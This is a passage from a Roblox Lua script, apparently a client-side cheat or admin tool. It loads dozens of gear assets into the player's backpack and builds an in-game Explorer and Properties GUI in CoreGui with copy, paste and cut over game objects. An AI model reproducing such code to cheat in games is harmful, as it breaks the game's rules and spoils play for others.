  4599. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4600. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4601. end
  4602. end
  4603. local insrt85 = game:GetService("InsertService"):LoadAsset(12902404)--tnt
  4604. for _, v in pairs(insrt85:GetChildren()) do
  4605. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4606. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4607. end
  4608. end
  4609. local insrt86 = game:GetService("InsertService"):LoadAsset(65469882)--fist
  4610. for _, v in pairs(insrt86:GetChildren()) do
  4611. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4612. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4613. end
  4614. end
  4615. local insrt87 = game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
  4616. for _, v in pairs(insrt87:GetChildren()) do
  4617. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4618. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4619. end
  4620. end
  4621. local insrt88 = game:GetService("InsertService"):LoadAsset(33383241)--remotemine
  4622. for _, v in pairs(insrt88:GetChildren()) do
  4623. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4624. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4625. end
  4626. end
  4627. local insrt89 = game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
  4628. for _, v in pairs(insrt89:GetChildren()) do
  4629. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4630. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4631. end
  4632. end
  4633. local insrt90 = game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
  4634. for _, v in pairs(insrt90:GetChildren()) do
  4635. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4636. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4637. end
  4638. end
  4639. local insrt91 = game:GetService("InsertService"):LoadAsset(35293856)--atomizer
  4640. for _, v in pairs(insrt91:GetChildren()) do
  4641. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4642. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4643. end
  4644. end
  4645. local insrt92 = game:GetService("InsertService"):LoadAsset(50938773)--taserblade
  4646. for _, v in pairs(insrt92:GetChildren()) do
  4647. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4648. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4649. end
  4650. end
  4651. local insrt93 = game:GetService("InsertService"):LoadAsset(32858662)--icestaff
  4652. for _, v in pairs(insrt93:GetChildren()) do
  4653. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4654. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4655. end
  4656. end
  4657. local insrt94 = game:GetService("InsertService"):LoadAsset(16469499)--highphaser
  4658. for _, v in pairs(insrt94:GetChildren()) do
  4659. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4660. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4661. end
  4662. end
  4663. local insrt95 = game:GetService("InsertService"):LoadAsset(47871646)--tornade
  4664. for _, v in pairs(insrt95:GetChildren()) do
  4665. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4666. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4667. end
  4668. end
  4669. local insrt96 = game:GetService("InsertService"):LoadAsset(35366215)--roboarm
  4670. for _, v in pairs(insrt96:GetChildren()) do
  4671. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4672. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4673. end
  4674. end
  4675. local insrt97 = game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
  4676. for _, v in pairs(insrt97:GetChildren()) do
  4677. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4678. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4679. end
  4680. end
  4681. local insrt98 = game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
  4682. for _, v in pairs(insrt98:GetChildren()) do
  4683. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4684. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4685. end
  4686. end
  4687. local insrt99 = game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
  4688. for _, v in pairs(insrt99:GetChildren()) do
  4689. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4690. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4691. end
  4692. end
  4693. local insrt100 = game:GetService("InsertService"):LoadAsset(62827121)--evilwand
  4694. for _, v in pairs(insrt100:GetChildren()) do
  4695. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4696. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4697. end
  4698. end
  4699. local insrt101 = game:GetService("InsertService"):LoadAsset(18010691)--awestar
  4700. for _, v in pairs(insrt101:GetChildren()) do
  4701. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4702. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4703. end
  4704. end
  4705. local insrt102 = game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
  4706. for _, v in pairs(insrt102:GetChildren()) do
  4707. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4708. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4709. end
  4710. end
  4711. local insrt103 = game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
  4712. for _, v in pairs(insrt103:GetChildren()) do
  4713. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4714. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4715. end
  4716. end
  4717. local insrt104 = game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
  4718. for _, v in pairs(insrt104:GetChildren()) do
  4719. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4720. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4721. end
  4722. end
  4723. local insrt105 = game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
  4724. for _, v in pairs(insrt105:GetChildren()) do
  4725. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4726. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4727. end
  4728. end
  4729. local insrt106 = game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
  4730. for _, v in pairs(insrt106:GetChildren()) do
  4731. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4732. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4733. end
  4734. end
  4735. local insrt107 = game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
  4736. for _, v in pairs(insrt107:GetChildren()) do
  4737. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4738. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4739. end
  4740. end
  4741. local insrt108 = game:GetService("InsertService"):LoadAsset(74385438)--gravitron
  4742. for _, v in pairs(insrt108:GetChildren()) do
  4743. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4744. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4745. end
  4746. end
  4747. local insrt109 = game:GetService("InsertService"):LoadAsset(74385386)--razevenge
  4748. for _, v in pairs(insrt109:GetChildren()) do
  4749. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4750. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4751. end
  4752. end
  4753. local insrt110 = game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
  4754. for _, v in pairs(insrt110:GetChildren()) do
  4755. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4756. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4757. end
  4758. end
  4759. local insrt111 = game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
  4760. for _, v in pairs(insrt111:GetChildren()) do
  4761. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4762. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4763. end
  4764. end
  4765. wait()
  4766. if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
  4767. game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
  4768. end
  4769. end))
  4770. end
  4771. end))
  4772. end) --[ Explorer Plugin V2 By TerminalZero ]--
  4773.  
  4774. Properties = {nil,"Name","Parent","ClassName","BrickColor","Transparency","Reflectance","CreatorId","VertexColor","Volume","Ticket","AccountAge","VideoQualitySettings","UploadSetting","TweenStatus","TopBottom","TickCountSampleMethod","ThreadPoolConfig","SurfaceType","SurfaceConstrait","Style","Stuff","Status","SpecialKey","SoundType","SleepAdjustMethod","SizeConstraint","Shadow","SavedQualitySetting","ReverbType","Resolution","QualityLevel","PyrimidSides","PrivilegeType","PrismSides","PriorityMethod","PlayerChatType","PhysicsSendMethod","PhysicsRecieveMethod","PartType","PacketReliability","NormalId","MoveState","MeshType","MaterialQuality","LevelOfDetailSetting","LeftRight","KeywordFilterType","JointType","InputType","InOut","HandlesStyle","GraphicsMode","GeometryQuality","Genre","GearType","GearGenreSetting","FunctionalTestResult","FriendStatus","FriendRequestEvent","FramerateManagerMode","FrameStyle","ErrorReporting","PhysicsThrottle","Enviromental","EasingStyle","EasingDirection","DialogTone","DialogPurpose","D3DFORMAT","D3DDEVTYPE","CreatorType","ControlMode","ConcurrencyModel","ChatStyle","ChatMode","ChatColor","CenterDialogType","CellOrientation","CellMaterial","CellBlock","CameraType","ButtonStyle","Button","BuildPermission","BodyPart","BinType","Bevels","Axis","Antialiasing","AnimationPriority","AffectType","ActionType","AASamples","Source","ScriptsDisabled","GarbageCollectionLimit","GarbageCollectionFrequency","RobloxLocked","Version","AttachmentForward","AttachmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivationDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight","GripUp","TextureId","TeamColor","Enabled","Position","CFrame","Material","RotVelocity","Velocity","Anchored","CanCollide","Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSurface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition","AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3","BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","BinType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","PlatformStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryPart","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","SoundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","StudsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPlayer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","ColorShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","AmbientReverb","DistanceFactor","DopplerScale","RolloffScale","Color","angularvelocity","maxTorque","Offset","Scale","Heat","Range","Angle","DataCost"}
  4775.  
  4776. if script ~= nil then
  4777. if Game:FindFirstChild("NetworkClient") ~= nil then
  4778. repeat wait() until Game.Players.LocalPlayer ~= nil
  4779. end
  4780. end
  4781.  
  4782. if game:GetService("CoreGui"):FindFirstChild("ExplorerButton") == nil then
  4783. local screengui = Instance.new("ScreenGui")
  4784. screengui.Parent = game:GetService("CoreGui")
  4785. screengui.Name = "ExplorerButton"
  4786. local text = Instance.new("TextButton")
  4787. text.Parent = screengui
  4788. text.Active = true
  4789. text.BackgroundColor = BrickColor.new("Really black")
  4790. text.BorderColor3 = Color3.new(255/255,0/0,0/0)
  4791. text.Position = UDim2.new(0.7,0,0.97,0)
  4792. text.Size = UDim2.new(0.1,0,0.025,0)
  4793. text.Text = "Explorer"
  4794. text.TextColor3 = Color3.new(1,1,1)
  4795.  
  4796. LocalPlayerExists = false
  4797.  
  4798. if Game:GetService("Players").LocalPlayer ~= nil then -- Click
  4799. LocalPlayerExists = true
  4800. end
  4801.  
  4802. text.MouseButton1Down:connect(function()
  4803. if game:GetService("CoreGui"):FindFirstChild("ExplorerGui") == nil then
  4804. pcall(function()
  4805. Game.CoreGui.RobloxGui.PlayerListScreen.Visible = false
  4806. end)
  4807.  
  4808. ItemGuis = {}
  4809. PropGuis = {}
  4810. ScrollPlaces = {}
  4811. MouseFunction = nil
  4812. AddedFunction = nil
  4813. RemovedFunction = nil
  4814. Selection = nil
  4815. ExplorerGui = nil
  4816. CopiedItem = nil
  4817. AddingConnection = nil
  4818. RemovingConnection = nil
  4819. Mouse = nil
  4820. ExpScrollNumber = 1
  4821. PropScrollNumber = 1
  4822. ViewGui = "Explorer"
  4823.  
  4824. if Game.Players.LocalPlayer ~= nil then
  4825. Mouse = Game.Players.LocalPlayer:GetMouse()
  4826. end
  4827.  
  4828. Base = "http://www.roblox.com/asset/?id="
  4829. Images = {Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,SpawnLocation=117933272,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903,Light=117825710,Decal=117930421,Shirt=117931182,Pants=117931169,Terrain=117931310,ForceField=117931567,Seat=117931937,BillboardGui=117932485,Texture=118002183}
  4830.  
  4831. function SetImage(Par,class)
  4832. if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or (class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or (class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or (class=="BrickColorValue") then
  4833. CreateImageLabel(Par,Base..Images.Value)
  4834. elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService") then
  4835. CreateImageLabel(Par,Base..Images.Sound)
  4836. elseif (class=="Script") then
  4837. CreateImageLabel(Par,Base..Images.Script)
  4838. elseif (class=="ScreenGui") or (class=="GuiMain") then
  4839. CreateImageLabel(Par,Base..Images.ScreenGui)
  4840. elseif (class=="BillboardGui") then
  4841. CreateImageLabel(Par,Base..Images.BillboardGui)
  4842. elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") or (class=="SkateboardPlatform") then
  4843. CreateImageLabel(Par,Base..Images.Part)
  4844. elseif (class=="SpawnLocation") then
  4845. CreateImageLabel(Par,Base..Images.SpawnLocation)
  4846. elseif (class=="Model") then
  4847. CreateImageLabel(Par,Base..Images.Model)
  4848. elseif (class=="Hint") or (class=="Message") then
  4849. CreateImageLabel(Par,Base..Images.Message)
  4850. elseif (class=="LocalScript") or (class=="CoreScript") or (class=="StarterScript") then
  4851. CreateImageLabel(Par,Base..Images.LocalScript)
  4852. elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or (class=="Rotate") or (class=="RotateP") or (class=="RotateV") or (class=="JointsService") then
  4853. CreateImageLabel(Par,Base..Images.Joint)
  4854. elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or (class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
  4855. CreateImageLabel(Par,Base..Images.Frame)
  4856. elseif (class=="Camera") then
  4857. CreateImageLabel(Par,Base..Images.Camera)
  4858. elseif (class=="Backpack") or (class=="StarterGear") or (class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
  4859. CreateImageLabel(Par,Base..Images.Backpack)
  4860. elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players") then
  4861. CreateImageLabel(Par,Base..Images.Player)
  4862. elseif (class=="BodyPosition") or (class=="BodyGyro") or (class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or (class=="RocketPropulsion") then
  4863. CreateImageLabel(Par,Base..Images.Body)
  4864. elseif (class=="HopperBin") then
  4865. CreateImageLabel(Par,Base..Images.HopperBin)
  4866. elseif (class=="Tool") then
  4867. CreateImageLabel(Par,Base..Images.Tool)
  4868. elseif (class=="Workspace") then
  4869. CreateImageLabel(Par,Base..Images.Workspace)
  4870. elseif (class=="BlockMesh") or (class=="SpecialMesh") or (class=="CylinderMesh") then
  4871. CreateImageLabel(Par,Base..Images.Mesh)
  4872. elseif (class=="Animation") or (class=="CharacterMesh") then
  4873. CreateImageLabel(Par,Base..Images.Animation)
  4874. elseif (class=="Hat") then
  4875. CreateImageLabel(Par,Base..Images.Hat)
  4876. elseif (class=="Humanoid") then
  4877. CreateImageLabel(Par,Base..Images.Humanoid)
  4878. elseif (class=="Lighting") then
  4879. CreateImageLabel(Par,Base..Images.Light)
  4880. elseif (class=="PointLight") or (class=="SpotLight") then
  4881. CreateImageLabel(Par,Base..Images.Light)
  4882. elseif (class=="Decal") then
  4883. CreateImageLabel(Par,Base..Images.Decal)
  4884. elseif (class=="Texture") then
  4885. CreateImageLabel(Par,Base..Images.Texture)
  4886. elseif (class=="Terrain") then
  4887. CreateImageLabel(Par,Base..Images.Terrain)
  4888. elseif (class=="Shirt") then
  4889. CreateImageLabel(Par,Base..Images.Shirt)
  4890. elseif (class=="Pants") then
  4891. CreateImageLabel(Par,Base..Images.Pants)
  4892. elseif (class=="ForceField") then
  4893. CreateImageLabel(Par,Base..Images.ForceField)
  4894. elseif (class=="Seat") or (class=="VehicleSeat") then
  4895. CreateImageLabel(Par,Base..Images.Seat)
  4896. else CreateImageLabel(Par,Base..Images.Nil)
  4897. end
  4898. end
  4899.  
  4900. function CreateImageLabel(Par,image)
  4901. Par.Image = image
  4902. end
  4903.  
  4904. function GetProperties(Object,Table)
  4905. local Return = {}
  4906. local function C() end
  4907. for i=1,#Table do
  4908. if pcall(function() C(Object[Table[i]]) end) then
  4909. if (Object:FindFirstChild(Table[i]) == nil) then
  4910. table.insert(Return, Table[i])
  4911. end end end
  4912. return Return
  4913. end
  4914.  
  4915. function CreateGuis()
  4916. explore = Instance.new("ScreenGui",Game:GetService("CoreGui"))
  4917. explore.Name = "ExplorerGui"
  4918. otherframe = Instance.new("TextLabel",explore)
  4919. otherframe.Name = "OtherFrame"
  4920. otherframe.BackgroundColor = BrickColor.new("Really black")
  4921. otherframe.BackgroundTransparency = 0.2
  4922. otherframe.BorderColor = BrickColor.new("Really red")
  4923. otherframe.Position = UDim2.new(0.8,0,0,0)
  4924. otherframe.Size = UDim2.new(0.2,0,0.05,0)
  4925. otherframe.Visible = true
  4926. otherframe.ZIndex = 2
  4927. otherframe.Draggable = true
  4928. otherframe.Font = "ArialBold"
  4929. otherframe.FontSize = "Size14"
  4930. otherframe.TextColor = BrickColor.new("Institutional white")
  4931. otherframe.TextXAlignment = "Center"
  4932. otherframe.Active = true
  4933.  
  4934. expbutton = Instance.new("TextButton",otherframe)
  4935. expbutton.Name = "ExpButton"
  4936. expbutton.BackgroundColor = BrickColor.new("Really black")
  4937. expbutton.BackgroundTransparency = 0.2
  4938. expbutton.BorderColor = BrickColor.new("Really red")
  4939. expbutton.Position = UDim2.new(0,0,16.25,0)
  4940. expbutton.Size = UDim2.new(0.45,0,0.75,0)
  4941. expbutton.Visible = true
  4942. expbutton.ZIndex = 2
  4943. expbutton.Draggable = false
  4944. expbutton.Font = "ArialBold"
  4945. expbutton.FontSize = "Size14"
  4946. expbutton.Text = "Explorer"
  4947. expbutton.TextColor = BrickColor.new("Institutional white")
  4948. expbutton.TextXAlignment = "Center"
  4949.  
  4950. propsbutton = Instance.new("TextButton",otherframe)
  4951. propsbutton.Name = "PropsButton"
  4952. propsbutton.BackgroundColor = BrickColor.new("Really black")
  4953. propsbutton.BackgroundTransparency = 0.2
  4954. propsbutton.BorderColor = BrickColor.new("Really red")
  4955. propsbutton.Position = UDim2.new(0.45,0,16.25,0)
  4956. propsbutton.Size = UDim2.new(0.45,0,0.75,0)
  4957. propsbutton.Visible = true
  4958. propsbutton.ZIndex = 2
  4959. propsbutton.Draggable = false
  4960. propsbutton.Font = "ArialBold"
  4961. propsbutton.FontSize = "Size14"
  4962. propsbutton.Text = "Properties"
  4963. propsbutton.TextColor = BrickColor.new("Institutional white")
  4964. propsbutton.TextXAlignment = "Center"
  4965.  
  4966. exframe = Instance.new("Frame",otherframe)
  4967. exframe.Name = "ExplorerFrame"
  4968. exframe.BackgroundColor = BrickColor.new("Really black")
  4969. exframe.BackgroundTransparency = 0.4
  4970. exframe.BorderColor = BrickColor.new("Really red")
  4971. exframe.Position = UDim2.new(0,0,1,0)
  4972. exframe.Size = UDim2.new(1,0,16,0)
  4973. exframe.Visible = true
  4974. exframe.ZIndex = 1
  4975. exframe.Draggable = false
  4976. exframe.Active = true
  4977.  
  4978. list = Instance.new("Frame",exframe)
  4979. list.Name = "List"
  4980. list.BackgroundColor = BrickColor.new("Really black")
  4981. list.BackgroundTransparency = 0.8
  4982. list.BorderColor = BrickColor.new("Really red")
  4983. list.Position = UDim2.new(0,0,0.1,0)
  4984. list.Size = UDim2.new(0.9,0,0.85,0)
  4985. list.Visible = true
  4986. list.ZIndex = 1
  4987. list.Draggable = false
  4988.  
  4989. back = Instance.new("TextButton",exframe)
  4990. back.Name = "BackButton"
  4991. back.BackgroundColor = BrickColor.new("Really black")
  4992. back.BackgroundTransparency = 0.6
  4993. back.BorderColor = BrickColor.new("Really red")
  4994. back.Position = UDim2.new(0,0,0.05,0)
  4995. back.Size = UDim2.new(1,0,0.05,0)
  4996. back.Visible = true
  4997. back.ZIndex = 1
  4998. back.Draggable = false
  4999. back.Font = "ArialBold"
  5000. back.FontSize = "Size14"
  5001. back.Text = "Object's Parent is Nil"
  5002. back.TextColor = BrickColor.new("Institutional white")
  5003. back.TextXAlignment = "Center"
  5004.  
  5005. search = Instance.new("TextBox",exframe)
  5006. search.Name = "SearchBox"
  5007. search.BackgroundColor = BrickColor.new("Really black")
  5008. search.BackgroundTransparency = 0.6
  5009. search.BorderColor = BrickColor.new("Really red")
  5010. search.Position = UDim2.new(0,0,0,0)
  5011. search.Size = UDim2.new(1,0,0.05,0)
  5012. search.Visible = true
  5013. search.ZIndex = 1
  5014. search.Draggable = false
  5015. search.Font = "ArialBold"
  5016. search.FontSize = "Size14"
  5017. search.Text = "Search in Place1"
  5018. search.TextColor = BrickColor.new("Institutional white")
  5019. search.TextXAlignment = "Center"
  5020.  
  5021. upbutton = Instance.new("TextButton",otherframe)
  5022. upbutton.Name = "UpButton"
  5023. upbutton.BackgroundColor = BrickColor.new("Really black")
  5024. upbutton.BackgroundTransparency = 0.6
  5025. upbutton.BorderColor = BrickColor.new("Really red")
  5026. upbutton.Position = UDim2.new(0.9,0,1.75,0)
  5027. upbutton.Size = UDim2.new(0.1,0,0.75,0)
  5028. upbutton.Visible = true
  5029. upbutton.ZIndex = 2
  5030. upbutton.Draggable = false
  5031. upbutton.Font = "ArialBold"
  5032. upbutton.FontSize = "Size12"
  5033. upbutton.Text = [[/\]]
  5034. upbutton.TextColor = BrickColor.new("Institutional white")
  5035. upbutton.TextXAlignment = "Center"
  5036.  
  5037. downbutton = Instance.new("TextButton",otherframe)
  5038. downbutton.Name = "DownButton"
  5039. downbutton.BackgroundColor = BrickColor.new("Really black")
  5040. downbutton.BackgroundTransparency = 0.6
  5041. downbutton.BorderColor = BrickColor.new("Really red")
  5042. downbutton.Position = UDim2.new(0.9,0,16.25,0)
  5043. downbutton.Size = UDim2.new(0.1,0,0.75,0)
  5044. downbutton.Visible = true
  5045. downbutton.ZIndex = 2
  5046. downbutton.Draggable = false
  5047. downbutton.Font = "ArialBold"
  5048. downbutton.FontSize = "Size12"
  5049. downbutton.Text = [[\/]]
  5050. downbutton.TextColor = BrickColor.new("Institutional white")
  5051. downbutton.TextXAlignment = "Center"
  5052.  
  5053. refreshbutton = Instance.new("ImageButton",exframe)
  5054. refreshbutton.Name = "RefreshButton"
  5055. refreshbutton.BackgroundColor = BrickColor.new("Really black")
  5056. refreshbutton.BackgroundTransparency = 0.6
  5057. refreshbutton.BorderColor = BrickColor.new("Really red")
  5058. refreshbutton.Position = UDim2.new(0.9,0,0,0)
  5059. refreshbutton.Size = UDim2.new(0.1,0,0.05,0)
  5060. refreshbutton.Visible = true
  5061. refreshbutton.ZIndex = 2
  5062. refreshbutton.Draggable = false
  5063. refreshbutton.Image = "http://www.roblox.com/asset/?id=21367268"
  5064.  
  5065. options = Instance.new("Frame",list)
  5066. options.Name = "Options"
  5067. options.BackgroundColor = BrickColor.new("Really black")
  5068. options.BackgroundTransparency = 0.4
  5069. options.BorderColor = BrickColor.new("Really red")
  5070. options.Position = UDim2.new(-1,0,0,0)
  5071. options.Size = UDim2.new(0.5,0,0.25,0)
  5072. options.Visible = false
  5073. options.ZIndex = 3
  5074. options.Draggable = false
  5075.  
  5076. copybutton = Instance.new("TextButton",options)
  5077. copybutton.Name = "CopyButton"
  5078. copybutton.BackgroundColor = BrickColor.new("Really black")
  5079. copybutton.BackgroundTransparency = 0.6
  5080. copybutton.BorderColor = BrickColor.new("Really red")
  5081. copybutton.Position = UDim2.new(0,0,0,0)
  5082. copybutton.Size = UDim2.new(1,0,0.333,0)
  5083. copybutton.Visible = true
  5084. copybutton.ZIndex = 3
  5085. copybutton.Draggable = false
  5086. copybutton.Font = "ArialBold"
  5087. copybutton.FontSize = "Size12"
  5088. copybutton.Text = "Copy"
  5089. copybutton.TextColor = BrickColor.new("Institutional white")
  5090. copybutton.TextXAlignment = "Center"
  5091.  
  5092. pastebutton = Instance.new("TextButton",options)
  5093. pastebutton.Name = "PasteButton"
  5094. pastebutton.BackgroundColor = BrickColor.new("Really black")
  5095. pastebutton.BackgroundTransparency = 0.6
  5096. pastebutton.BorderColor = BrickColor.new("Really red")
  5097. pastebutton.Position = UDim2.new(0,0,0.333,0)
  5098. pastebutton.Size = UDim2.new(1,0,0.333,0)
  5099. pastebutton.Visible = true
  5100. pastebutton.ZIndex = 3
  5101. pastebutton.Draggable = false
  5102. pastebutton.Font = "ArialBold"
  5103. pastebutton.FontSize = "Size12"
  5104. pastebutton.Text = "Paste"
  5105. pastebutton.TextColor = BrickColor.new("Institutional white")
  5106. pastebutton.TextXAlignment = "Center"
  5107.  
  5108. cutbutton = Instance.new("TextButton",options)
  5109. cutbutton.Name = "CutButton"
  5110. cutbutton.BackgroundColor = BrickColor.new("Really black")
  5111. cutbutton.BackgroundTransparency = 0.6
  5112. cutbutton.BorderColor = BrickColor.new("Really red")
  5113. cutbutton.Position = UDim2.new(0,0,0.333*2,0)
  5114. cutbutton.Size = UDim2.new(1,0,0.333,0)
  5115. cutbutton.Visible = true
  5116. cutbutton.ZIndex = 3
  5117. cutbutton.Draggable = false
  5118. cutbutton.Font = "ArialBold"
  5119. cutbutton.FontSize = "Size12"
  5120. cutbutton.Text = "Cut"
  5121. cutbutton.TextColor = BrickColor.new("Institutional white")
  5122. cutbutton.TextXAlignment = "Center"
  5123.  
  5124. config = Instance.new("ObjectValue",options)
  5125. config.Name = "ConfiguredObject"
  5126. config.Value = nil
  5127.  
  5128. sel = Instance.new("ObjectValue",exframe)
  5129. sel.Name = "Selection"
  5130. sel.Value = Game
  5131. Selection = sel
  5132.  
  5133. highlight = Instance.new("SelectionBox",Game:GetService("CoreGui"))
  5134. highlight.Name = "ObjectHighlight"
  5135. highlight.Color = BrickColor.new("Bright blue")
  5136.  
  5137. for i=0,19 do
  5138. item = Instance.new("Frame",list)
  5139. item.Name = "Item"
  5140. item.BackgroundColor = BrickColor.new("Really black")
  5141. item.BackgroundTransparency = 0.8
  5142. item.BorderColor = BrickColor.new("Really red")
  5143. item.Position = UDim2.new(0,0,i*0.05,0)
  5144. item.Size = UDim2.new(1,0,0.05,0)
  5145. item.Visible = true
  5146. item.ZIndex = 1
  5147. item.Draggable = false
  5148.  
  5149. name = Instance.new("TextButton",item)
  5150. name.Name = "ItemName"
  5151. name.BackgroundColor = BrickColor.new("Really black")
  5152. name.BackgroundTransparency = 0.8
  5153. name.BorderColor = BrickColor.new("Really red")
  5154. name.Position = UDim2.new(0.1,0,0,0)
  5155. name.Size = UDim2.new(0.9,0,1,0)
  5156. name.Visible = true
  5157. name.ZIndex = 1
  5158. name.Draggable = false
  5159. name.Font = "ArialBold"
  5160. name.FontSize = "Size14"
  5161. name.Text = "Object"
  5162. name.TextColor = BrickColor.new("Institutional white")
  5163. name.TextXAlignment = "Center"
  5164.  
  5165. icon = Instance.new("ImageLabel",item)
  5166. icon.Name = "Icon"
  5167. icon.BackgroundColor = BrickColor.new("Really black")
  5168. icon.BackgroundTransparency = 0.2
  5169. icon.BorderColor = BrickColor.new("Really red")
  5170. icon.Image = Base..Images.Property
  5171. icon.Position = UDim2.new(0,0,0,0)
  5172. icon.Size = UDim2.new(0.1,0,1,0)
  5173. icon.Visible = true
  5174. icon.ZIndex = 1
  5175. icon.Draggable = false
  5176.  
  5177. value = Instance.new("ObjectValue")
  5178. value.Parent = item
  5179. value.Name = "ObjectValue"
  5180.  
  5181. table.insert(ItemGuis, item)
  5182. end
  5183.  
  5184. ExplorerGui = explore
  5185.  
  5186. propsframe = Instance.new("Frame",otherframe)
  5187. propsframe.Name = "PropertiesFrame"
  5188. propsframe.BackgroundColor = BrickColor.new("Really black")
  5189. propsframe.BackgroundTransparency = 0.4
  5190. propsframe.BorderColor = BrickColor.new("Really red")
  5191. propsframe.Position = UDim2.new(0,0,1,0)
  5192. propsframe.Size = UDim2.new(1,0,16,0)
